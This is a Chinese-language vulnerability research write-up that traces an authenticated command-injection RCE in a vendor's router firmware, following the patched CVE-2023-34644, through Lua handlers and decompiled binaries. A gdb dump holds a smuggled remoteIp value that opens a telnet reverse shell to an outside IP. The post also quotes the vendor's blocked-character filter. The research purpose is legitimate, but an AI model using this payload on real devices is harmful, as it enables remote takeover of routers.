前言
这是我收获的第一个 CVE 编号,在复现了 winmt 师傅的 CVE-2023-34644
后,他告诉我最新的固件虽然做了一些简单的处理,导致无法在未授权的情况下 RCE
,但因为没有从根源上对命令执行点做限制,所以在授权后,仍然可以进行 RCE
。我对最新的固件进行了分析,完整记录了授权后的 RCE
漏洞从分析到利用的过程。从提交漏洞到现在也有半年的时间了,并且某厂商官网也已经发布了最新的固件,现将该文章分享出来,供大家进行学习和研究。
PS:本文记录的部分内容和之前发布过的复现 CVE-2023-34644
文章中的部分内容有相似之处,因为对前期的 lua
文件分析基本一致。为了保证读任何一篇单独的文章都较为通顺和连贯,因此就保留了两篇文章中相似的部分。
仿真环境搭建
仿真环境搭建请参考 https://bbs.kanxue.com/thread-277386.htm#msg_header_h2_4
该文章详细记录了某厂商路由器的仿真过程
qemu
的启动脚本如下
1 2 3 4 5 6 7 8 9 10 | #!/bin/bash
sudo qemu-system-mipsel \
-cpu 74Kf \
-M malta \
-kernel vmlinux-3.2.0-4-4kc-malta \
-hda debian_squeeze_mipsel_standard.qcow2 \
-append "root=/dev/sda1 console=tty0" \
-net nic \
-net tap,ifname=tap0,script=no,downscript=no \
-nographic
|
其中的 vmlinux-3.2.0-4-4kc-malta
debian_squeeze_mipsel_standard.qcow2
文件从https://people.debian.org/~aurel32/qemu/mipsel/ 进行下载
在执行 qemu
启动脚本之前,执行下面的脚本,创建一个网桥
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 | #!/bin/sh
sudo brctl addbr br0
sudo brctl addif br0 ens33
sudo brctl stp br0 off
sudo brctl setfd br0 1
sudo brctl sethello br0 1
sudo ifconfig br0 0.0.0.0 promisc up
sudo ifconfig ens33 0.0.0.0 promisc up
sudo dhclient br0
sudo brctl show br0
sudo brctl showstp br0
sudo tunctl -t tap0 -u root
sudo brctl addif br0 tap0
sudo ifconfig tap0 0.0.0.0 promisc up
sudo brctl showstp br0
|
漏洞分析
lua文件调用链分析
新版本219调用链分析
在 usr/lib/lua/luci/modules/cmd.lua
文件中有如下代码,容易让初学者搞混,所以在此简单说明一下
1 2 3 4 5 6 7 8 9 10 11 12 13 | local opt = { "add" , "del" , "update" , "get" , "set" , "clear" , 'doc' }
acConfig, devConfig, devSta, devCap = {}, {}, {}, {}
for i = 1 ,
......
devSta[opt[i]] = function(params)
local model = require "dev_sta"
params.method = opt[i]
params.cfg_cmd = "dev_sta"
local data, back, ip, password, shell = doParams(params)
return fetch(model.fetch, shell, params, opt[i], params.module, data, back, ip, password)
end
......
end
|
首先是先定义了一个表 opt
里面装了字符串 add
del
upload
等字符串,然后又定义了四张空表 acConfig
devConfig
devSta
devCap
,接下来是一个 for
循环来遍历 opt
表。
以 devSta[opt[i]] = function(params)
这行代码为例,假设现在 opt[i]
是元素 add
,function(params)
这里是声明了一个匿名函数,因为函数也是一个变量,这个变量被直接存储到了 devSta
表中,以键值的形式存在,键就是字符串 add
而值就是这个函数,之后调用这个函数的话可以直接写 devSta["add"]()
1 2 3 4 5 6 7 8 | function hello()
local model = require "dev_sta"
params.method = opt[i]
params.cfg_cmd = "dev_sta"
local data, back, ip, password, shell = doParams(params)
return fetch(model.fetch, shell, params, opt[i], params.module, data, back, ip, password)
end
devSta[ "add" ] = hello - - 假设此时遍历到了opt表中的add元素
|
为什么特别说明这里呢?因为我在开始分析的时候,我一直以为这里是匹配到对应的键值后直接去执行函数,导致在此处执行了 doParams
fetch
函数(实际上通过上面的分析也知道,这里只是定义了这些函数,并没有进行调用)
下面开始正式从入口分析 /api/cmd
的这条链,在 /usr/lib/lua/luci/controller/eweb/api.lua
文件中存在 entry({"api", "cmd"}, call("rpc_cmd"), nil)
这行代码,意味着授权后访问 /api/cmd
路径时,可以调用 rpc_cmd
函数
1 2 3 4 5 6 7 8 | function rpc_cmd()
local jsonrpc = require "luci.utils.jsonrpc"
local http = require "luci.http"
local ltn12 = require "luci.ltn12"
local _tbl = require "luci.modules.cmd"
http.prepare_content( "application/json" )
ltn12.pump. all (jsonrpc.handle(_tbl, http.source()), http.write)
end
|
通过分析 rpc_cmd
函数得知 _tbl
已经包含了 cmd.lua
中所有变量的定义(上文已经分析过了),主要是 ac_config
dev_config
dev_sta
这三个表包含了 add
del
update
get
set
clear
doc
这些操作,而 devCap
表只有 get
,相关代码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 | local opt = { "add" , "del" , "update" , "get" , "set" , "clear" , 'doc' }
acConfig, devConfig, devSta, devCap = {}, {}, {}, {}
for i = 1 ,
acConfig[opt[i]] = function(params)
local model = require "ac_config"
params.method = opt[i]
params.cfg_cmd = "ac_config"
local data, back, ip, password, shell = doParams(params)
return fetch(model.fetch, shell, params, opt[i], params.module, data, back, ip, password)
end
devConfig[opt[i]] = function(params)
local model = require "dev_config"
params.method = opt[i]
params.cfg_cmd = "dev_config"
local data, back, ip, password, shell = doParams(params)
return fetch(model.fetch, shell, params, opt[i], params.module, data, back, ip, password)
end
devSta[opt[i]] = function(params)
local model = require "dev_sta"
params.method = opt[i]
params.cfg_cmd = "dev_sta"
local data, back, ip, password, shell = doParams(params)
return fetch(model.fetch, shell, params, opt[i], params.module, data, back, ip, password)
end
if opt[i] = = "get" then
devCap[opt[i]] = function(params)
local model = require "dev_cap"
params.method = opt[i]
params.cfg_cmd = "dev_cap"
local data, back, ip, password, shell = doParams(params)
return fetch(model.fetch, shell, params, opt[i], params.module, ip, password)
end
end
if opt[i] = = "doc" then
syshell = function(params)
local tool = require "luci.utils.tool"
return tool.doc(params)
end
end
end
|
然后来看 rpc_cmd
函数中的这行代码 ltn12.pump.all(jsonrpc.handle(_tbl, http.source()), http.write)
jsonrpc.handle
函数的参数是 _tbl
,看下 luci.utils.jsonrpc
文件中的 handle
函数,发现又将参数 tbl
传给了 resolve
,同时传入的还有报文中的 method
字段
1 2 3 4 5 6 7 8 9 | function handle(tbl, rawsource, ...)
......
if stat then
if type (json.method) = = "string" then
local method = resolve(tbl, json.method)
if method then
response = reply(json.jsonrpc, json. id , proxy(method, json.params or {}))
......
end
|
resolve
函数主要是将 mod
表中存放键值对中的函数提取出来,假设 method
为 devCap.get
,那么下面的代码最后可以将匿名函数 devCap["get"]
赋值给 mod
并返回
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 | function resolve(mod, method)
local path = luci.util.split(method, "." )
for j = 1 ,
if not type (mod) = = "table" then
break
end
mod = rawget(mod, path[j])
if not mod then
break
end
end
mod = type (mod) = = "table" and rawget(mod, path[
if type (mod) = = "function" then
return mod
end
end
|
分析 proxy(method, json.params or {})
发现,将刚刚解析的返回值 method
被 proxy
函数当做参数,这里的 method
又传入了 luci.util
文件中的 copcall
函数
1 2 3 4 5 | function proxy(method, ...)
local tool = require "luci.utils.tool"
local res = {luci.util.copcall(method, ...)}
......
end
|
copcall
函数主要是对 coxpcall
的一个封装
1 2 3 | function copcall(f, ...)
return coxpcall(f, copcall_id, ...)
end
|
终于在 coxpcall
函数内部发现调用了 f
1 2 3 4 | function coxpcall(f, err, ...)
local res, co = oldpcall(coroutine.create, f)
......
end
|
oldpcall(coroutine.create, f)
这行代码的目的是在一个新的协程中运行函数 f
。至此开始执行上面提到的匿名函数,重新回顾一下它的代码,该函数调用了 doParams
对 json
数据进行解析,随后调用了 fetch
函数
1 2 3 4 5 6 | devSta[opt[i]] = function(params)
local model = require "dev_sta"
params.method = opt[i]
params.cfg_cmd = "dev_sta"
local data, back, ip, password, shell = doParams(params)
return fetch(model.fetch, shell, params, opt[i], params.module, data, back, ip, password)
|
这个 fetch
函数在 cmd.lua
文件中已经定义了,这里调用了 fn
也就是 fetch
函数传入进来的第一个参数
1 2 3 4 5 6 7 | local function fetch(fn, shell, params, ...)
require "luci.json"
local tool = require "luci.utils.tool"
local _start = os.time()
local _res = fn(...)
......
end
|
fetch
函数的第一个参数为 model.fetch
,model
是 require "dev_cap.lua"
后的结果,所以在 cmd.lua
的 fetch
函数内部调用了 dev_sta.lua
文件中定义的 fetch
函数,该函数定义如下,能够看到最后是调用了 /usr/lib/lua/libuflua.so
文件中的 client_call
函数
1 2 3 4 5 6 | function fetch(cmd, module, param, back, ip, password, force, not_change_configId, multi)
local uf_call = require "libuflua"
......
local stat = uf_call.client_call(ctype, cmd, module, param, back, ip, password, force, not_change_configId, multi)
return stat
end
|
用 IDA
打开 /usr/lib/lua/libuflua.so
文件,发现并没有看到有定义的 client_call
函数,不过发现了 uf_client_call
函数,猜测可能是程序内部进行了关联。shift+f12
搜索字符串发现并没有看到 client_call
(如下图)
大概率说明 IDA
没有把 client_call
解析成字符串,而是解析成了代码。我这里用 010Editor
打开该文件进行搜索字符串 client_call
,成功搜索到后发现其地址位于 0xff0
处
可以看到 IDA
确实是将 0xff0
位置的数据当做了代码来解析,选中这部分数据,按 a
,就能以字符串的形式呈现了
对字符串 client_call
进行交叉引用,发现最终调用位置如下,luaL_register
是 Lua
中注册 C
语言编写的函数,它作用是将 C
函数添加到一个 Lua
模块中,使得这些 C
函数能够从 Lua
代码中被调用
该函数的原型如下
1 | void luaL_register (lua_State * L, const char * libname, const luaL_Reg * l);
|
lua_State *L
:Lua
状态指针,代表了一个 Lua
解释器实例。
const char *libname
:模块的名称,这个名称会在 Lua
中作为一个全局变量存在,存放模块的函数。
const luaL_Reg *l
:一个结构体数组,包含要注册到模块中的函数的信息。每个结构体包含函数的名称和相应的 C
函数指针
这里重点关注第三个参数,这就说明 0x1101C
的位置存放的是一个字符串以及一个函数指针(如下图),因此判断出 client_call
实际就定义在了 sub_A00
中
sub_A00
函数定义如下,可以看到最后是调用了 uf_client_call
函数,而在这之前的很多赋值操作如 *(_DWORD *)(v3 + 12) = lua_tolstring(a1, 4, 0);
,很容易能猜测到其实是在解析 Lua
传入的各个参数字段。在 Lua
的代码中 uf_call.client_call(ctype, cmd, module, param, back, ip, password, force, not_change_configId, multi)
这里传入了多个参数,但是 sub_A00
函数就一个参数 a1
,结合的操作分析出这里是在解析参数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 | int __fastcall sub_A00( int a1)
{
v13[ 0 ] = 0 ;
v2 = malloc( 52 );
v3 = v2;
if ( v2 )
{
memset(v2, 0 , 52 );
v5 = 4 ;
* (_DWORD * )v3 = luaL_checkinteger(a1, 1 );
* (_DWORD * )(v3 + 4 ) = luaL_checklstring(a1, 2 , 0 );
v6 = luaL_checklstring(a1, 3 , 0 );
v7 = * (_DWORD * )v3;
* (_DWORD * )(v3 + 8 ) = v6;
if ( v7 ! = 3 )
{
* (_DWORD * )(v3 + 12 ) = lua_tolstring(a1, 4 , 0 );
* (_BYTE * )(v3 + 41 ) = lua_toboolean(a1, 5 ) = = 1 ;
v5 = 6 ;
* (_BYTE * )(v3 + 40 ) = 1 ;
}
* (_DWORD * )(v3 + 20 ) = lua_tolstring(a1, v5, 0 );
* (_DWORD * )(v3 + 24 ) = lua_tolstring(a1, v5 + 1 , 0 );
v8 = v5 + 2 ;
if ( * (_DWORD * )v3 )
{
if ( * (_DWORD * )v3 = = 2 )
{
v8 = v5 + 3 ;
* (_BYTE * )(v3 + 43 ) = lua_toboolean(a1, v5 + 2 ) = = 1 ;
}
}
else
{
* (_BYTE * )(v3 + 43 ) = lua_toboolean(a1, v5 + 2 ) = = 1 ;
v8 = v5 + 4 ;
* (_BYTE * )(v3 + 44 ) = lua_toboolean(a1, v5 + 3 ) = = 1 ;
}
* (_BYTE * )(v3 + 48 ) = lua_toboolean(a1, v8) = = 1 ;
v4 = uf_client_call(v3, v13, 0 );
}
......
|
uf_client_call
函数是一个引用外部库的函数,用 grep
在整个文件系统搜索字符串 uf_client_call
,结合 /usr/lib/lua/libuflua.so
文件中引用的外部库进行分析,最终判断出 uf_client_call
函数定义在 /usr/lib/libunifyframe.so
uf_client_call
函数首先判断了 method
的类型,然后解析出报文中各字段的值,并将其键值对添加到一个 JSON
对象中,接着将最终处理好的 JSON
对象转换为 JSON
格式的字符串,通过 uf_socket_msg_write
用 socket
套接字进行数据传输
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 | int __fastcall uf_client_call(_DWORD * a1, int a2, int * a3)
{
......
v5 = json_object_new_object();
......
switch ( * a1 ) / / 这里的 * a1指的就是uf_call.client_call函数的第一个参数ctype,他取决于method它在dev_sta.lua文件中被赋值为了 2
{
case 0 :
v15 = (( int ( * )(void))strlen)() + 10 ;
......
v13 = "acConfig.%s" ;
goto LABEL_22;
case 1 :
v14 = (( int ( * )(void))strlen)() + 11 ;
......
v13 = "devConfig.%s" ;
goto LABEL_22;
case 2 :
v8 = (( int ( * )(void))strlen)() + 8 ;
......
v13 = "devSta.%s" ;
goto LABEL_22;
case 3 :
v16 = (( int ( * )(void))strlen)() + 8 ;
......
v13 = "devCap.%s" ;
goto LABEL_22;
case 4 :
v17 = (( int ( * )(void))strlen)() + 7 ;
......
LABEL_22: / / 接下来使用了大量的json_object_object_add函数,该函数的作用是在已有的JSON对象中添加一个键值对,以json_object_object_add(v20, "remoteIp" , v23)函数为例,作用是将{ "remote" ,v23}这个键值对添加到v20所指的JSON对象中,
json_object_object_add(v5, "method" , v19);
v20 = json_object_new_object();
......
v21 = json_object_new_string(a1[ 2 ]);
json_object_object_add(v20, "module" , v21);
v22 = a1[ 5 ];
if ( !v22 )
goto LABEL_35;
json_object_object_add(v20, "remoteIp" , v23);
LABEL_35:
v25 = a1[ 6 ];
if ( v25 )
{
v26 = json_object_new_string(v25);
......
json_object_object_add(v20, "remotePwd" , v26);
}
if ( a1[ 9 ] )
{
......
json_object_object_add(v20, "buf" , v27);
}
if ( * a1 )
{
if ( * a1 ! = 2 )
{
v28 = * ((unsigned __int8 * )a1 + 45 );
goto LABEL_58;
}
if ( * ((_BYTE * )a1 + 42 ) )
{
v30 = json_object_new_boolean( 1 );
if ( v30 )
{
v31 = v20;
v32 = "execute" ;
goto LABEL_56;
}
}
}
else
{
if ( * ((_BYTE * )a1 + 43 ) )
{
v29 = json_object_new_boolean( 1 );
if ( v29 )
json_object_object_add(v20, "force" , v29);
}
if ( * ((_BYTE * )a1 + 44 ) )
{
v30 = json_object_new_boolean( 1 );
if ( v30 )
{
v31 = v20;
v32 = "configId_not_change" ;
LABEL_56:
json_object_object_add(v31, v32, v30);
goto LABEL_57;
}
}
}
LABEL_57:
v28 = * ((unsigned __int8 * )a1 + 45 );
LABEL_58:
if ( v28 )
{
v33 = json_object_new_boolean( 1 );
if ( v33 )
json_object_object_add(v20, "from_url" , v33);
}
if ( * ((_BYTE * )a1 + 47 ) )
{
v34 = json_object_new_boolean( 1 );
if ( v34 )
json_object_object_add(v20, "from_file" , v34);
}
if ( * ((_BYTE * )a1 + 48 ) )
{
v35 = json_object_new_boolean( 1 );
if ( v35 )
json_object_object_add(v20, "multi" , v35);
}
if ( * ((_BYTE * )a1 + 46 ) )
{
v36 = json_object_new_boolean( 1 );
if ( v36 )
json_object_object_add(v20, "not_commit" , v36);
}
if ( * ((_BYTE * )a1 + 40 ) )
{
v37 = json_object_new_boolean( * ((unsigned __int8 * )a1 + 41 ) ^ 1 );
if ( v37 )
json_object_object_add(v20, "async" , v37);
}
v38 = (_BYTE * )a1[ 3 ];
if ( !v38 || ! * v38 )
goto LABEL_78;
v39 = json_object_new_string(v38);
json_object_object_add(v20, "data" , v39);
LABEL_78:
v41 = (_BYTE * )a1[ 4 ];
if ( v41 && * v41 )
{
v42 = json_object_new_string(v41);
if ( !v42 )
{
json_object_put(v20);
json_object_put(v5);
v40 = 630 ;
goto LABEL_82;
}
json_object_object_add(v20, "device" , v42);
}
json_object_object_add(v5, "params" , v20); / / 将上面的v20当做了params的值,向v5中添加新的键值对
v43 = json_object_to_json_string(v5); / / json_object_to_json_string作用是将JSON对象转换为JSON格式的字符串
......
v44 = uf_socket_client_init( 0 );
......
v50 = strlen(v43);
uf_socket_msg_write(v44, v43, v50); / / 最终调用uf_socket_msg_write,用socket实现了进程间通信,将解析好的json数据发送给其他进程进行处理
......
|
既然存在 uf_socket_msg_write
进行数据发送,那么肯定就在一个地方有用 uf_socket_msg_read
函数进行数据的接收,用 grep
进行字符串搜索,发现 /usr/sbin/unifyframe-sgi.elf
文件,并且该文件还位于 /etc/init.d
目录下,这意味着该进程最初就会启动并一直存在,所以判断出这个 unifyframe-sgi.elf
文件就是用来接收 libunifyframe.so
文件所发送过来的数据
219版本之前的调用链
该调用链是 winmt 师傅在 CVE-2023-34644 利用的,在 219
之前该调用链可以通杀该厂商大部分设备。下面介绍的这条调用链所出示的代码均来自某型号的 204
版本。
在 /usr/lib/lua/luci/controller/eweb/api.lua
文件中,配置了路由 entry({"api", "auth"}, call("rpc_auth"), nil).sysauth = false
这意味着当用户访问 /api/auth
路径时,将调用 rpc_auth
。在 luci
框架中 sysauth
属性控制是否需要进行系统级的用户认证才能访问该路由,这里的 sysauth
属性为 false
,表示无需进行系统认证即可访问。
rpc_auth
函数首先引入了一些模块,然后获取 HTTP_CONTENT_LENGTH
的长度是否大于 1000
字节,如果不大于的话会将准备 HTTP
响应的类型设置为 application/json
,下面的 handle
函数第一个参数 _tbl
传入的是 luci.modules.noauth
文件返回的内容
1 2 3 4 5 6 7 8 9 10 11 12 13 | function rpc_auth()
local jsonrpc = require "luci.utils.jsonrpc"
local http = require "luci.http"
local ltn12 = require "luci.ltn12"
local _tbl = require "luci.modules.noauth"
if tonumber(http.getenv( "HTTP_CONTENT_LENGTH" ) or 0 ) > 1000 then
http.prepare_content( "text/plain" )
- - http.write({code = "1" , err = "too long data" })
return "too long data"
end
http.prepare_content( "application/json" )
ltn12.pump. all (jsonrpc.handle(_tbl, http.source()), http.write)
end
|
到了 handle
函数内部后的流程与分析最新版的步骤一样,就不再赘述,最后的结果就是能在这里触发noauth
文件中的 merge
函数(前提是报文中要设置 method
字段的值为 merge
)
noauth
的文件中定义了 merge
函数
1 2 3 4 | function merge(params)
local cmd = require "luci.modules.cmd"
return cmd.devSta. set ({device = "pc" , module = "networkId_merge" , data = params, async = true})
end
|
merge
函数又调用了 /usr/lib/lua/luci/modules/cmd.lua
文件中的 devSta.set
函数,之后的过程又和上文中分析最新版的步骤一样,也不再重复记录
1 2 3 4 5 6 | devSta[opt[i]] = function(params)
local model = require "dev_sta"
params.method = opt[i]
params.cfg_cmd = "dev_sta"
local data, back, ip, password, shell = doParams(params)
return fetch(model.fetch, shell, params, opt[i], params.module, data, back, ip, password)
|
为什么最新版不能再走这条链了?
在 219
版本,在 noauth.lua
文件中的 merge
函数,加入了对 params
中危险字符的过滤,调用了 includeXxs
和 includeQuote
函数,对换行符、回车符、反引号、&
、$
、;
、|
等符号都做了过滤,这就意味着后续无法再进行命令注入了。而 219
版本只在这里进行了危险字符的过滤,只要从其他地方调用到诸如 dev_cap
dev_sta
表中的函数依然可以进行命令注入
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 | function merge(params)
local cmd = require "luci.modules.cmd"
local tool = require( "luci.utils.tool" )
local _strParams = luci.json.encode(params)
if tool.includeXxs(_strParams) or tool.includeQuote(_strParams) then
tool.eweblog(_strParams, "MERGE FAILED INVALID DATA" )
return 'INVALID DATA'
end
return cmd.devSta. set ({
device = "pc" ,
module = "networkId_merge" ,
data = params,
async = true
})
end
function includeXxs( str )
local ngstr = "[\n\r`&$;|]"
return string.match( str , ngstr) ~ = nil
end
function includeQuote( str )
return string.match( str , "(['])" ) ~ = nil
end
|
漏洞文件分析
下面开始分析 /usr/sbin/unifyframe-sgi.elf
文件,整体流程是在 main
函数调用了三个关键函数 uf_socket_msg_read
parse_content
add_pkg_cmd2_task
,他们的作用分别为 接收数据 解析数据 执行命令
字段解析
由 uf_socket_msg_read
函数将 json
数据读入到内存中,地址为 v31+1
1 2 3 4 5 6 7 8 | v31 = (_DWORD *)malloc_pkg();
......
pthread_mutex_lock(v29 + 5);
*v31 = v29;
v52 = uf_socket_msg_read(*v29, v31 + 1);
pthread_mutex_unlock(v29 + 5);
|
通过 gdb
来查看读入的数据 这里只为说明 gdb
可以查看内存中读入的数据,文章前后发送的报文并不一样
1 2 3 | pwndbg> x / 4s 0x623850
0x623850 : "{ \"method\": \"devConfig.get\", \"params\": { \"module\": \"123\", \"remoteIp\": \"$(mkfifo \\/tmp\\/test;telnet 192.168.45.203 6666 0<\\/tmp\\/test|\\/bin\\/sh > \\/tmp\\/test)\", \"remotePwd\": \"\", \"async\": true, \"data\": " ...
0x623918 : "\"{\\\"kkk\\\":\\\"abc\\\"}\" } }"
|
json
数据的各字段进行解析在 parse_content
函数中完成,该函数首先判断了 params
和 method
字段是否存在,然后在 method
字段不为 cmdArr
的情况下,调用 parse_obj2_cmd
函数进一步对字段进行解析
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 | v3 = json_tokener_parse();
v4 = v3;
......
v6 = json_object_object_get_ex(v3, "params" , &v18);
v7 = v4;
if ( v6 != 1 )
{
LABEL_27:
json_object_put(v7);
return -1;
}
if ( json_object_object_get_ex(v4, "method" , v19) != 1 )
{
LABEL_26:
v7 = v4;
goto LABEL_27;
}
v8 = json_object_get_string(v19[0]);
if ( !v8 )
{
......
}
if ( strstr (v8, "cmdArr" ) )
{
......
}
else
{
......
v16 = parse_obj2_cmd(v4);
*v15 = v16;
if ( !v16 )
{
......
}
pkg_add_cmd(a1, v15);
v15[2] = 0;
}
|
parse_obj2_cmd
函数中具体的解析了各个字段及类型并把它们记录到一个堆块中,最终返回该堆块地址,便于之后的访问。想知道 POC
的编写格式就要对此处进行逆向分析,具体分析结果已写在注释中
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 | v2 = malloc (0x34);
v3 = v2;
......
if ( json_object_object_get_ex(a1, "params" , &v38) != 1 )
{
......
}
if ( json_object_object_get_ex(a1, "method" , &v37) != 1 )
{
......
}
v4 = json_object_get_string(v37);
v5 = v4;
......
if ( strstr (v4, "devSta" ) )
{
v6 = 2;
}
else
{
if ( strstr (v5, "acConfig" ) )
{
*(_DWORD *)v3 = 0;
goto LABEL_21;
}
if ( strstr (v5, "devConfig" ) )
{
*(_DWORD *)v3 = 1;
goto LABEL_21;
}
if ( strstr (v5, "devCap" ) )
{
v6 = 3;
}
else
{
if ( ! strstr (v5, "ufSys" ) )
{
uf_log_printf(uf_log, ( const char *)dword_4219EC, "sgi.c" , "parse_obj2_cmd" , 274);
goto LABEL_109;
}
v6 = 4;
}
}
*(_DWORD *)v3 = v6;
LABEL_21:
v7 = strchr (v5, 46);
v8 = strdup(v7 + 1);
*(_DWORD *)(v3 + 4) = v8;
if ( json_object_object_get_ex(v38, "module" , &v37) != 1 )
{
......
}
v10 = json_object_get_string(v37);
if ( !v10 )
{
uf_log_printf(uf_client_log, "(%s %s %d)obj_module is null" , "sgi.c" , "parse_obj2_cmd" , 294);
goto LABEL_109;
}
v11 = strdup(v10);
*(_DWORD *)(v3 + 8) = v11;
if ( json_object_object_get_ex(v38, "remoteIp" , &v37) == 1 && (unsigned int )(json_object_get_type(v37) - 5) < 2 )
{
v12 = json_object_get_string(v37);
if ( v12 )
{
v13 = strdup(v12);
*(_DWORD *)(v3 + 20) = v13;
......
}
}
else
{
*(_DWORD *)(v3 + 20) = 0;
}
if ( json_object_object_get_ex(v38, "remotePwd" , &v37) == 1 && json_object_get_type(v37) == 5 )
{
v14 = json_object_get_string(v37);
if ( v14 )
{
v15 = strdup(v14);
*(_DWORD *)(v3 + 24) = v15;
......
}
}
v16 = *(_DWORD *)v3 != 2;
*(_BYTE *)(v3 + 40) = 0;
*(_BYTE *)(v3 + 41) = v16;
if ( json_object_object_get_ex(v38, "async" , &v37) == 1 )
{
v17 = (_BYTE *)sub_404BAC(v37);
v18 = v17;
if ( v17 )
{
if ( *v17 == 48 || ! strcmp (v17, "false" ) )
{
*(_BYTE *)(v3 + 40) = 1;
*(_BYTE *)(v3 + 41) = 1;
}
if ( *v18 == 49 || ! strcmp (v18, "true" ) )
*(_WORD *)(v3 + 40) = 1;
free (v18);
}
}
if ( json_object_object_get_ex(v38, "force" , &v37) == 1 )
{
v19 = (_BYTE *)sub_404BAC(v37);
v20 = v19;
if ( v19 )
{
if ( *v19 == 49 || ! strcmp (v19, "true" ) )
*(_BYTE *)(v3 + 43) = 1;
free (v20);
}
}
if ( json_object_object_get_ex(v38, "configId_not_change" , &v37) == 1 )
{
v21 = (_BYTE *)sub_404BAC(v37);
v22 = v21;
if ( v21 )
{
if ( *v21 == 49 || ! strcmp (v21, "true" ) )
*(_BYTE *)(v3 + 44) = 1;
free (v22);
}
}
if ( json_object_object_get_ex(v38, "from_url" , &v37) == 1 )
{
v23 = (_BYTE *)sub_404BAC(v37);
v24 = v23;
if ( v23 )
{
if ( *v23 == 49 || ! strcmp (v23, "true" ) )
*(_BYTE *)(v3 + 45) = 1;
free (v24);
}
}
if ( json_object_object_get_ex(v38, "from_file" , &v37) == 1 )
{
v25 = (_BYTE *)sub_404BAC(v37);
v26 = v25;
if ( v25 )
{
if ( *v25 == 49 || ! strcmp (v25, "true" ) )
*(_BYTE *)(v3 + 47) = 1;
free (v26);
}
}
if ( json_object_object_get_ex(v38, "multi" , &v37) == 1 )
{
v27 = (_BYTE *)sub_404BAC(v37);
v28 = v27;
if ( v27 )
{
if ( *v27 == 49 || ! strcmp (v27, "true" ) )
*(_BYTE *)(v3 + 48) = 1;
free (v28);
}
}
if ( json_object_object_get_ex(v38, "not_commit" , &v37) == 1 )
{
v29 = (_BYTE *)sub_404BAC(v37);
v30 = v29;
if ( v29 )
{
if ( *v29 == 49 || ! strcmp (v29, "true" ) )
*(_BYTE *)(v3 + 46) = 1;
free (v30);
}
}
if ( json_object_object_get_ex(v38, "execute" , &v37) == 1 )
{
v31 = (_BYTE *)sub_404BAC(v37);
v32 = v31;
if ( v31 )
{
if ( *v31 == 49 || ! strcmp (v31, "true" ) )
*(_BYTE *)(v3 + 42) = 1;
free (v32);
}
}
v33 = v3;
if ( json_object_object_get_ex(v38, "data" , &v37) == 1 && (unsigned int )(json_object_get_type(v37) - 4) < 3 )
{
v34 = json_object_get_string(v37);
if ( v34 )
{
v35 = strdup(v34);
*(_DWORD *)(v3 + 12) = v35;
if ( !v35 )
{
v9 = 470;
goto LABEL_108;
}
}
}
return v33;
|
将这个堆块装的各种数据绘制成图片可能更直观一些(如下) xxx
代表有些保留字段,或者是一些标志位,它们在后续利用过程中并不重要,暂不详细记录
使用 GDB
调试到此处看到的各字段信息如下
parse_obj2_cmd
函数结束后,会执行 pkg_add_cmd(a1, v15)
,它的核心作用就是在 a1
这个数据结构中记录了 v15
的指针,使得后续操作通过 a1
访问到刚刚解析出来的各个字段。不过这 pkg_add_cmd
函数里有一个谜之操作,在这行代码中 *(_DWORD *)(a1 + 92) = a2 + 13
是把 a2
也就是 v15
的值加上了 13
存储到了 a1
中,而通过后续的分析得知,之后访问这个 v15
的堆块是通过 *(a1+92)-13
得到的地址。存的时候 +13
,访问的时候 -13
,这里没太理解但并不影响我们后续的分析
触发漏洞的调用链分析
1 | main = = > add_pkg_cmd2_task = = > uf_cmd_call = = > ufm_handle = = > remote_call = = >sub_41A148
|
json
数据解析完成后,会调用 add_pkg_cmd2_task
,该函数通过访问之前解析出的各个字段,判断 method
是不是 devCap
,如果是的话可以调用后续的漏洞函数(不是 devCap
也可以触发漏洞但是调用链走的并不是我分析的这条)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 | if ( dword_43897C < 1001 )
{
pthread_mutex_lock(*a1 + 20);
v3 = (_DWORD *)a1[22];
v4 = v3 - 13;
for ( i = *v3 - 52; ; i = *(_DWORD *)(i + 52) - 52 )
{
if ( v4 + 13 == a1 + 22 )
{
pthread_mutex_unlock(*a1 + 20);
return 0;
}
v6 = malloc (20);
v7 = ( int **)v6;
......
v10 = ( int *)(v6 + 4);
v7[2] = v10;
v7[1] = v10;
*v7 = v4;
v7[4] = ( int *)(v7 + 3);
v7[3] = ( int *)(v7 + 3);
......
*v7 = v4;
v11 = (_DWORD *)*v4;
v12 = *(_DWORD *)*v4;
